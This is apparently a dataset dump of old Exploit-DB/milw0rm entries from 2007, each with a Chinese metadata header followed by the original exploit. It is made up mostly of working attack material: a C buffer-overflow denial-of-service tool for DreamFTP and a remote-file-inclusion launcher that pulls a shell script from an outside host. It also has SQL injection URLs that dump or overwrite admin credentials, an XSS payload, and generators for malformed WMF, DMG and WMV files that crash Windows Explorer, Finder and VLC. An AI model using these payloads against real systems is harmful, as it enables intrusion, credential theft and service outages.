QLWD/code_shield huggingface dataset:
标题: BolinTech DreamFTP Server - 'USER' Remote Buffer Overflow (PoC) EDB-ID: 3128 CVE: 2007-0338 类型: DOS 平台: WINDOWS 发布日期: 2007-01-14 漏洞利用脚本: /**************************************************************************
*BolinTech DreamFTP USER buffer overflow                                  *
*                                                                         *
*The server does not correctly handle format string so sending a command  *
*like USER %1*3000 let us own EDX. Other values can also affect EAX & ECX *
*                                                                         *
*This is only a POC but code execution is possible                        *
*                                                                         *
*usage: dreamftp.exe ip port                                              *
*                                                                         *
*Coded by Marsu <Marsupilamipowa@hotmail.fr>                            *
**************************************************************************/

#include "winsock2.h"
#include "stdio.h"
#include "stdlib.h"
#pragma comment(lib, "ws2_32.lib")

int main(int argc, char* argv[])
{
 struct hostent *he;
 struct sockaddr_in sock_addr;
 WSADATA wsa;
 int ftpsock;
 char recvbuff[1024];
 char evilbuff[5003];
 int buflen=5000;// edx=31253125
 int i;

 if (argc!=3)
 {
  printf("[+] Usage: %s <ip> <port>\n",argv[0]);
  return 1;
 }
 WSACleanup();
 WSAStartup(MAKEWORD(2,0),&wsa);

 printf("[+] Connecting to %s:%s ... ",argv[1],argv[2]);
 if ((he=gethostbyname(argv[1])) == NULL) {
  printf("Failed\n[-] Could not init gethostbyname\n");
  return 1;
 }
 if ((ftpsock = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
  printf("Failed\n[-] Socket error\n");
  return 1;
 }

 sock_addr.sin_family = PF_INET;
 sock_addr.sin_port = htons(atoi(argv[2]));
 sock_addr.sin_addr = *((struct in_addr *)he->h_addr);
 memset(&(sock_addr.sin_zero), '\0', 8);
 if (connect(ftpsock, (struct sockaddr *)&sock_addr, sizeof(struct sockaddr)) == -1) {
  printf("Failed\n[-] Sorry, cannot connect to %s:%s. Error: %i\n", argv[1],argv[2],WSAGetLastError());
  return 1;
 }
 printf("OK\n");
 memset(recvbuff,'\0',1024);
 recv(ftpsock, recvbuff, 1024, 0);

 printf("[+] Building payload ... ");
 for (i=0;i<buflen;i+=2) {
  memcpy(evilbuff+i,"%1",2);
 }

 memcpy(evilbuff,"USER ",5);
 memcpy(evilbuff+buflen,"\r\n\0",3);
 printf("OK\n[+] Sending USER ... ");
 if (send(ftpsock,evilbuff,strlen(evilbuff),0)==-1) {
  printf("Failed\n[-] Could not send\n");
  return 1;
 }
 printf("OK\n");
 memset(recvbuff,'\0',1024);
 recv(ftpsock, recvbuff, 1024, 0);
 Sleep(1000);
 printf("[+] Host should be down\n");
 return 0;
}

// milw0rm.com [2007-01-14] URL: https://www.exploit-db.com/exploits/3128
标题: FdWeB Espace Membre 2.01 - 'path' Remote File Inclusion EDB-ID: 3123 CVE: 2007-0301 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-13 漏洞利用脚本: <html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>FdWeB Espace Membre <= 2.01(path) Remote File Include Vulnerability</title>

<script language="JavaScript">
 
//'===============================================================================================
//'[Script Name: FdWeB Espace Membre <= 2.01(path) Remote File Include Vulnerability
//'[Coded by   : ajann
//'[Author     : ajann
//'[Contact    : :(
//'[$$         : Free
//'[Using : Write Target after Submit Click
//'===============================================================================================

//'[[ERROR]]]------------------------------------------------------
//'....
//'..
//'<?
//' $nom = "menu_admin.gif";
//' $include_haut = $path."include/table_text_gh.php"; 
//' $include_bas = $path."include/table_text_gb.php"; 
//' include($include_haut);
//'?>
//'....
//'..
//'[[ERROR]]]---------------------------------------------------------

//# ajann,Turkey
//# ...

   

     //Basic exploit,but any time : ( 
   var path="/_admin/"
   var adres="admin_menu.php?" //File name
   var acik ="path=" // Line 5
   var shell="http://kro.275mb.com/57.txt?" // Shell Script
  
   function command(){
       if (document.rfi.target1.value==""){
          alert("Failed..");
      return false;
    }


  
  rfi.action= document.rfi.target1.value+path+adres+acik+shell; // Ready Target : )
  rfi.submit(); // Form Submit
   }
</script>

</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Verdana" size="2" color="#008000">FdWeB Espace Membre <= 2.01(path) Remote File Include Vulnerability</font></b></p>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="Arial" size="1" color="#FF0000">Target:</font><font face="Arial" size="1" color="#808080">[http://[target]/[scriptpath]</font><font color="#00FF00" size="2" face="Arial">
  </font><font color="#FF0000" size="2">&nbsp;</font></b>
  <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>
  <p><input type="submit" value="Gonder" name="B1"><input type="reset" value="Sifirla" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
</p>

<b><font face="Verdana" size="2" color="#008000">ajann</font></b></p>
</center>
</body>

</html>

# milw0rm.com [2007-01-13] URL: https://www.exploit-db.com/exploits/3123
标题: Mint Haber Sistemi 2.7 - 'duyuru.asp?id' SQL Injection EDB-ID: 3120 CVE: 2007-0304 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-12 漏洞利用脚本: ###############################################################
#MiNT Haber Sistemi v2.7 (tr) == SQL Injection Vulnerability
#Author : chernobiLe
#Site : www.cyber-sabotage.org , www.chernobiLe.com
#Contact: info@cyber-sabotage.org
###############################################################
#Risk : High
#Download Link Of MiNT Haber Sistemi v2.7 : http://www.aspindir.com/Goster/4539


#Exploit;
#Admin Nick, Passport, Mail;
http://[SITE]/duyuru.asp?id=6+union+select+0,kul_adi,sifre+from+uye+where+id=1


#Union data Text;
#Duyuru Basligi :  USERNAME
#Duyuru Metni  :    PASSWORD

#Greetz: All CSDT ( Cyber Sabotage and Defacer ) TEAM

# milw0rm.com [2007-01-12] URL: https://www.exploit-db.com/exploits/3120
标题: Poplar Gedcom Viewer 2.0 - 'common.php' Remote File Inclusion EDB-ID: 3121 CVE: 2007-0307 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-12 漏洞利用脚本: /###################################################################\
# Poplar Gedcom Viewer v2.0 final                                   #
# =========================================================         #
# Published : 2007-01-00                                            #
# Remote: Yes                                                       #
# Site:ftp://ftp1.comscripts.com/PHP/689_poplarge-20.zip            #
#####################################################################
# Author: GolD_M = Mahmood_ali                                      #
# Contact: HackEr_@W.Cn                                             #
# =====================================================             #
# ThanX =All My Friends& ABDULLAH00& THE GENERAL & Asb-May.Net      #
# SpeciaL GreeTz : Tryag-Team & 4lKaSrGoLd3n-Team                   #
\###################################################################/
# In :                                                              #
# /include/common.php                                               #
# Line:                                                             #
# 51                                                                #
# Vulnerable Code:                                                  #
# include_once( $env['rootPath'].'/include/adodb/adodb.inc.php' )   #
# 3XP|0!T :                                                         #
# /include/common.php?env[rootPath]=[EV!L-CODE]                     #
#                                                                   #
#             /#######################################\             #
#             #         Tryag.Com & Dwrat.Com         #             #
#             \#######################################/             #
\###################################################################/

# milw0rm.com [2007-01-12] URL: https://www.exploit-db.com/exploits/3121
标题: vp-asp shopping cart 6.09 - SQL Injection / Cross-Site Scripting EDB-ID: 3115 CVE: 2007-0225 2007-0224 类型: WEBAPPS 平台: ASP 发布日期: 2007-01-11 漏洞利用脚本: *******************************************************************************
# Title   :  VP-ASP Shopping Cart 6.09 Remote Multiple Vulnerabilities
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.vpasp.com
# $$      :  $49.00 - $350.00 - $495.00

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//shopgiftregsearch.asp?LoginLastname=[SQL]

Example:

//shopgiftregsearch.asp?LoginLastname='%20union%20select%200,email,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20registrant%20where%20'1=1
//shopgiftregsearch.asp?LoginLastname='%20union%20select%200,lastname,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20registrant%20where%20'1=1

This Informations go to login page.

[[/SQL]]

[[XSS]]]---------------------------------------------------------

http://[target]/[path]//shopcustadmin.asp?msg=[XSS]

Example:

//shopcustadmin.asp?msg=%3Cscript%3Ealert('x');%3C/script%3E

[[/XSS]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-11] URL: https://www.exploit-db.com/exploits/3115
标题: Microsoft Windows Explorer - '.WMF' CreateBrushIndirect Denial of Service EDB-ID: 3111 CVE: 2006-4071 类型: DOS 平台: WINDOWS 发布日期: 2007-01-13 漏洞利用脚本: #!/usr/bin/perl

print "\nWMF PoC denial of service exploit by cyanid-E <biz4rre\@gmail.com>";
print "\n\ngenerating brush.wmf...";
open(WMF, ">./brush.wmf") or die "cannot create wmf file\n";
print WMF "\x01\x00\x09\x00\x00\x03\x22\x00\x00\x00\x63\x79\x61\x6E\x69\x64";
print WMF "\x2D\x45\x07\x00\x00\x00\xFC\x02\x00\x00\x00\x00\x00\x00\x00\x00";
print WMF "\x08\x00\x00\x00\xFA\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
print WMF "\x07\x00\x00\x00\xFC\x02\x08\x00\x00\x00\x00\x00\x00\x80\x03\x00";
print WMF "\x00\x00\x00\x00";
close(WMF);
print "ok\n\nnow try to browse folder in XP explorer and wait :)\n";

# milw0rm.com [2007-01-13] URL: https://www.exploit-db.com/exploits/3111
标题: eIQnetworks Network Security Analyzer - Null Pointer Dereference EDB-ID: 3112 CVE: 2007-0228 类型: DOS 平台: WINDOWS 发布日期: 2007-01-10 漏洞利用脚本: #!c:\python\python.exe
# uncomment whichever function youd like. theyll all crash in a similar way.

# Any of the following "function names" will cause the service to throw an access violation 
# while dereferencing the return value from a call to FindIndex 
# ( http://msdn2.microsoft.com/de-de/library/a93550bb(VS.80).aspx):

# Ethan Hunt <m34r\[@\]hackermail.com>

import socket

s = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
s.connect(('192.168.1.101', 10618))

print "[*] connected"

s.send("&CONNECTSERVER&")
#s.send("&ADDENTRY&")
#s.send("&FIN&")
#s.send("&START&")
#s.send("&LOGPATH&")
#s.send("&FWADELTA&")
#s.send("&FWALOG&")
#s.send("&SETSYNCHRONOUS&")
#s.send("&SETPRGFILE&")
#s.send("&SETREPLYPORT&")

print "disconnecting."

s.close()

# milw0rm.com [2007-01-10] URL: https://www.exploit-db.com/exploits/3112
标题: Jshop Server 1.3 - 'fieldValidation.php' Remote File Inclusion EDB-ID: 3113 CVE: 2007-0232 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-10 漏洞利用脚本: ==========================================================================
# scripts       : Jshop Server 1.3
# Discovered By : irvian
# script        : http://www.jshop.co.uk/
# Thanks To     : #hitamputih #nyubicrew #patihack
# special To    : nyubi,ibnusina,arioo,jipank,kacung,trangkil,cah_gemblunkz
# dork          :powered by jshop
--------------------------------------------------------------------------
file: routines/fieldValidation.php

include($jssShopFileSystem."resources/includes/validations.php");


exploit : www.target.com/routines/fieldValidation.php?jssShopFileSystem=[evilcode]

# milw0rm.com [2007-01-10] URL: https://www.exploit-db.com/exploits/3113
标题: TLM CMS 1.1 - 'i-accueil.php?chemin' Remote File Inclusion EDB-ID: 3118 CVE: 2007-0300 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-12 漏洞利用脚本: /###################################################################\
# Citations Aléatoires v1.1                                         #
# =========================================================         #
# Published : 2007-01-12                                            #
# Remote: Yes                                                       #
# Site:  ftp://ftp1.comscripts.com/PHP/1809_citation-11.zip         #
#####################################################################
# Author: GolD_M = Mahmood_ali                                      #
# Contact: HackEr_@W.Cn                                             #
# =====================================================             #
# ThanX =All My Friends& ABDULLAH00& AsbMay& ToOoFa& KaBaRa& str0ke #
# SpeciaL GreeTz : Tryag-Team & 4lKaSrGoLd3n-Team                   #
\###################################################################/
# /i-accueil.php                                                    #
# Line:                                                             #
# /13                                                               #
# Vulnerable Code:                                                  #
# include("$chemin/mod_news/index.php");                            #
# 3XP|0!T :                                                         #
# /i-accueil.php?chemin=EV!L.C0D3.TxT                               #
#        /#######################################\                  #
#        #         Tryag.Com & Dwrat.Com         #                  #
#        \#######################################/                  #
\###################################################################/

# milw0rm.com [2007-01-12] URL: https://www.exploit-db.com/exploits/3118
标题: Article System 0.1 - 'INCLUDE_DIR' Remote File Inclusion EDB-ID: 3114 CVE: 2007-0314 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-11 漏洞利用脚本: ########################################################################################################################
#Script:Article System                                                       #
#Affected Version:1.0                                                        #
#Download:http://kent.dl.sourceforge.net/sourceforge/artsys/artsys-0.1-20020705.tar.gz #
########################################################################################################################
#Author:Dr Max Virus                                                         #
########################################################################################################################
#Bug in:/[path]/include                                                      #
#Vul Code;                                                                   #
#require_once ("$INCLUDE_DIR/classes/class.form_item.php");                  #
########################################################################################################################
#POC:                                                                        #
#http://[target]/[script_path]/include/forms.php?INCLUDE_DIR=shell.txt?      #
#http://[target]/[script_path]/include/issue_edit.php?INCLUDE_DIR=shell.txt? #
#http://[target]/[script_path]/include/client.php?INCLUDE_DIR=shell.txt?     #
#http://[target]/[script_path]/include/classes.php?INCLUDE_DIR=shell.txt?    #
########################################################################################################################
#Thx:str0ke-koray-Timq-r0ut3r-nuffsaid-All My Friends                        #
#Special Greetz:AsianEagle-TheMaster-Kacper-Hotturk                          #
########################################################################################################################

# milw0rm.com [2007-01-11] URL: https://www.exploit-db.com/exploits/3114
标题: LunarPoll 1.0 - 'show.php?PollDir' Remote File Inclusion EDB-ID: 3117 CVE: 2007-0298 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-12 漏洞利用脚本: -------------------------------------------------------------------------------------------------------------------

AYYILDIZ.ORG PreSents...


Script:LunarPoll
Script Download: dexxaboy.com/scripts/lunarpoll/download/

Contact: ilker Kandemir <ilkerkandemir[at]mynet.com>

Code:
require_once($PollDir.'/includes/functions.php');
require_once($PollDir.'/includes/IO.php');

-------------------------------------------------------------------------------------------------------------------

Exploit:  show.php?PollDir=http://attacker.txt?

-------------------------------------------------------------------------------------------------------------------

Tnx:H0tturk,Dr.Max Virus,Asianeagle,PcDelisi,CodeR
Special Tnx: AYYILDIZ.ORG

# milw0rm.com [2007-01-12] URL: https://www.exploit-db.com/exploits/3117
标题: Apple Mac OSX 10.4.8 - Apple Finder DMG Volume Name Memory Corruption (PoC) EDB-ID: 3110 CVE: 2007-0197 类型: DOS 平台: OSX 发布日期: 2007-01-09 漏洞利用脚本: #!/usr/bin/ruby
# (c) 2006 LMH <lmh [at] infopull.com>.
#

require 'fileutils'
require 'zlib'

hdiutil = "/usr/bin/hdiutil"
dmgname = (ARGV[0] || "MOAB-09-01-2007.dmg")
dmgsize = (ARGV[1] || "200k")
filesys = (ARGV[2] || "UFS")
volname = ""

255.times do
  volname << (i = Kernel.rand(62); i += ((i < 10) ? 48 : ((i < 36) ? 55 : 61 ))).chr
end

FileUtils.rm_f(dmgname)
system "#{hdiutil} create #{dmgname} -size #{dmgsize} -fs #{filesys} -volname #{volname}"

puts "++ reading #{dmgname}..."
dmg_stream = File.read(dmgname)
dmg_vnsize = dmg_stream[0x9c10,0x9c14].unpack("C2")
puts "++ volname length at dmg: #{dmg_vnsize}"
puts "++ dmg size: #{dmg_stream.size} bytes."

# milw0rm.com [2007-01-09] URL: https://www.exploit-db.com/exploits/3110
标题: VideoLAN VLC Media Player 0.8.6a - Denial of Service (1) EDB-ID: 3119 CVE: 2007-0256 类型: DOS 平台: WINDOWS 发布日期: 2007-01-12 漏洞利用脚本: print "-----------------------------------------------------------------------"
print "# VLC media player 0.8.6a Denial of Service"
print "# author: shinnai"
print "# mail: shinnai[at]autistici[dot]org"
print "# site: http://shinnai.altervista.org"
print "# soundtrack: Territorial pissing (Nirvana)"
print "# Tested on Windows xp Professional SP2 all patched"
print "# Special thanks to rgod"
print "-----------------------------------------------------------------------"

head = \
"\x30\x26\xb2\x75\x8e\x66\xcf\x11\xa6\xd9\x00\xaa\x00\x62\xce\x6c"+\
"\x66\x14\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x01\x02\xa1\xdc"+\
"\xab\x8c\x47\xa9\xcf\x11\x8e\xe4\x00\xc0\x0c\x20\x53\x65\x68\x00"+\
"\x00\x00\x00\x00\x00\x00\x88\xb6\x08\x46\x9a\x96\x6e\x45\x8d\xaf"+\
"\x90\x2c\xd0\xfc\xb6\x18\x52\x01\x1f\x00\x00\x00\x00\x00\x00\x5d"+\
"\x55\x03\x2e\xce\xc4\x01\x37\x05\x00\x00\x00\x00\x00\x00\xd0\x03"+\
"\xa1\x08\x00\x00\x00\x00\xf0\x64\x0c\x08\x00\x00\x00\x00\xb8\x0b"+\
"\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\xee\x05\x00\x00\xee\x05"+\
"\x00\x00\x5e\x6a\x15\x00\xb5\x03\xbf\x5f\x2e\xa9\xcf\x11\x8e\xe3"+\
"\x00\xc0\x0c\x20\x53\x65\x45\x10\x00\x00\x00\x00\x00\x00\x11\xd2"+\
"\xd3\xab\xba\xa9\xcf\x11\x8e\xe6\x00\xc0\x0c\x20\x53\x65\x06\x00"+\
"\x17\x10\x00\x00\xa9\x46\x43\x7c\xe0\xef\xfc\x4b\xb2\x29\x39\x3e"+\
"\xde\x41\x5c\x85\x21\x00\x00\x00\x00\x00\x00\x00\x01\x00\x06\x66"+\
"\x00\x72\x00\x00\x00\x5d\x8b\xf1\x26\x84\x45\xec\x47\x9f\x5f\x0e"+\
"\x65\x1f\x04\x52\xc9\x1a\x00\x00\x00\x00\x00\x00\x00\x02\x01\xea"+\
"\xcb\xf8\xc5\xaf\x5b\x77\x48\x84\x67\xaa\x8c\x44\xfa\x4c\xca\x5a"+\
"\x01\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x01\x00\x0c\x00\x02"+\
"\x00\x02\x00\x00\x00\x49\x00\x73\x00\x56\x00\x42\x00\x52\x00\x00"+\
"\x00\x00\x00\x00\x00\x01\x00\x34\x00\x00\x00\x06\x00\x00\x00\x44"+\
"\x00\x65\x00\x76\x00\x69\x00\x63\x00\x65\x00\x43\x00\x6f\x00\x6e"+\
"\x00\x66\x00\x6f\x00\x72\x00\x6d\x00\x61\x00\x6e\x00\x63\x00\x65"+\
"\x00\x54\x00\x65\x00\x6d\x00\x70\x00\x6c\x00\x61\x00\x74\x00\x65"+\
"\x00\x00\x00\x4c\x00\x31\x00\x00\x00\x00\x00\x02\x00\x0c\x00\x02"+\
"\x00\x02\x00\x00\x00\x49\x00\x73\x00\x56\x00\x42\x00\x52\x00\x00"+\
"\x00\x01\x00\x00\x00\x02\x00\x34\x00\x00\x00\x04\x00\x00\x00\x44"+\
"\x00\x65\x00\x76\x00\x69\x00\x63\x00\x65\x00\x43\x00\x6f\x00\x6e"+\
"\x00\x66\x00\x6f\x00\x72\x00\x6d\x00\x61\x00\x6e\x00\x63\x00\x65"+\
"\x00\x54\x00\x65\x00\x6d\x00\x70\x00\x6c\x00\x61\x00\x74\x00\x65"+\
"\x00\x00\x00\x40\x00\x00\x00\x00\x00\x01\x00\x2e\x00\x03\x00\x04"+\
"\x00\x00\x00"

buff = "A" * 4000

VLCFile = head + buff

fileOut = open('videolan.wmv','wb')
fileOut.write(VLCFile)
fileOut.close()

# milw0rm.com [2007-01-12] URL: https://www.exploit-db.com/exploits/3119
标题: MOTIONBORG Web Real Estate 2.1 - SQL Injection EDB-ID: 3105 CVE: 2007-0196 类型: WEBAPPS 平台: ASP 发布日期: 2007-01-09 漏洞利用脚本: ******************************************************************************
# Title   :  MOTIONBORG Web Real Estate <= v2.1 Remote SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.motionborg.com
# $$      :  Unlimited Agents-> $1,475.00

*******************************************************************************

ajann SQL Injector Beta=>

Script Tables & Columns

[[-dtproperties-]]
id
objectid
property
value
uvalue
lvalue
version
[[-Events-]]
EventId
EventDay
EventStartDate
EventEndDate
EventName
EventDesc
EventIngUrl
EventStatus
[[-MailingList-]]
RecordID
FullName
Phone
Email
Removed
[[-Pole-]]
Record_id
Question
Choice1
Choice2
Choice3
Choice4
Choice5
Result1
Result2
Result3
Result4
Result5
IntranetStart
IntranetEnd
PoleStart
PoleEnd
[[-Poll_Det-]]
RecordId
HdrId
ChoiceEnglish
ChoiceSpanish
ChoiceOrder
ChoiceCount
[[-Poll_Hdr-]]
RecordId
PollId
english_question
spanish_question
startdate
enddate
[[-tblListings-]]
Listing_ID
Date_stamp
Listing_title
Listing
User_ID
Seller
SellerPhone
Seller_email
Address1
Address2
City
County
State
Zip
Country
Status
Transaction
Type
PropertyIconImage
PropertyImages
PropertyImages2
PropertyImages3
PropertyImages4
PropertyImages5
PropertyImages6
PropertyImages7
PropertyImages8
PropertyImages9
PropertyImages10
PropertyFloorPlanImages
Price
Story
StoryType
Bedroom
Bathroom
BathroomHalf
CarGarage
CarGarageHalf
CarGarageAutoDoorOpener
Extras
AdjSquarefeet
LivSquarefeet
ExtrasDescription
DetailDescription
[[-tblSearchConfiguration-]]
Comment_ID
Listing_ID
Name
Country
EMail
Date_stamp
Comments
[[-tblSiteConfiguration-]]
Username
Password
SearchDescription
SearchKeyboards
SiteIntroMediaStatus
SiteIntroMedia
SiteTitle
SiteSlogan
SiteLogoStatus
SiteLogo
SiteVisitsCounterCode
LoanAppStatus
WelcomeMessage
OwnerName
OwnerMessage
OwnerImage
ContactMessage
ContactEmail
ContactPhone
AboutCompany
OportunitiesStatus
Oportunities
UsefullLinksStatus
UsefullLinks
SchoolSearch
IDXstatus
IDXAgentID
IDXSearchURL
ExtAppStatus01
ExtAppStatus02
ExtAppStatus03
ExtAppStatus04
ExtAppStatus05
ExtAppTit01
ExtAppTit02
ExtAppTit03
ExtAppTit04
ExtAppTit05
ExtApp01
ExtApp02
ExtApp03
ExtApp04
ExtApp05
IDXSearchURLExtApp05
site_bg_color
site_text_color
site_text_type
site_links_color
site_visited_links_color
site_active_links_color
site_table_color
site_table_border_color
site_table_title_color
No_records_per_page
[[-tblUsers-]]
User_ID
Username
Password
Name
LastName
User_email
Phone
UserImage
User_code
Active
AdminRights
[[-Users-]]
ID
U_name
U_pass
Fname
Lname

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//admin_check_user.asp (POST Method) [SQL]

Example:

//Find The UserName and Write-> ';update tblUsers set Password='kro';update tblUsers set Username='kro'--
// Password is empty.

Login "kro" | "kro"

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-09] URL: https://www.exploit-db.com/exploits/3105